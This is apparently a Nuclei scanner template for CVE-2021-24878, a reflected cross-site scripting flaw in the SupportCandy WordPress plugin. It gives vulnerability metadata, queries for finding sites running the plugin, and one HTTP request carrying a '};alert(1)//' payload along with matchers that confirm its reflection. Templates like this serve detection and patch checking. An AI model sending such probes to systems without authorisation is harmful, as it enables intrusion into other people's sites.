id: CVE-2021-24878

info:
  name: SupportCandy < 2.2.7 - Reflected Cross-Site Scripting
  author: popcorn94
  severity: medium
  description: |
    The SupportCandy WordPress plugin before 2.2.7 does not sanitise and escape the query string before outputting it back in pages with the [wpsc_create_ticket] shortcode embed, leading to a Reflected Cross-Site Scripting issue
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS in pages with wpsc_create_ticket shortcode, potentially stealing user session cookies or manipulating support ticket data.
  remediation: Fixed in 2.2.7
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24878
    - https://github.com/andrewcy86/supportcandy(plugin)
    - https://wpscan.com/vulnerability/d2f1fd60-5e5e-4e38-9559-ba2d14ae37bf/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24878
    cwe-id: CWE-79
    epss-score: 0.01195
    epss-percentile: 0.6403
    cpe: cpe:2.3:a:supportcandy:supportcandy:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: supportcandy
    product: supportcandy
    framework: wordpress
    fofa-query: body="/wp-content/plugins/supportcandy/"
    publicwww-query: "/wp-content/plugins/supportcandy/"
  tags: cve,cve2021,wordpress,wpscan,wp-plugin,supportcandy,xss,vkev,vuln

http:
  - raw:
      - |
        GET /?};alert(1)// HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "var attrs = {};alert(1)//:"
          - "wpsc_create_ticket_init"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c811cea4a39aa3da0643b5f14d691109e7504d2e7488cafff077e773705fbe4e022100a6716bdcf14d139d1192ad0bda827253413b6993581f5eb863d30861e70cef25:922c64590222798bb761d5b6d8e72950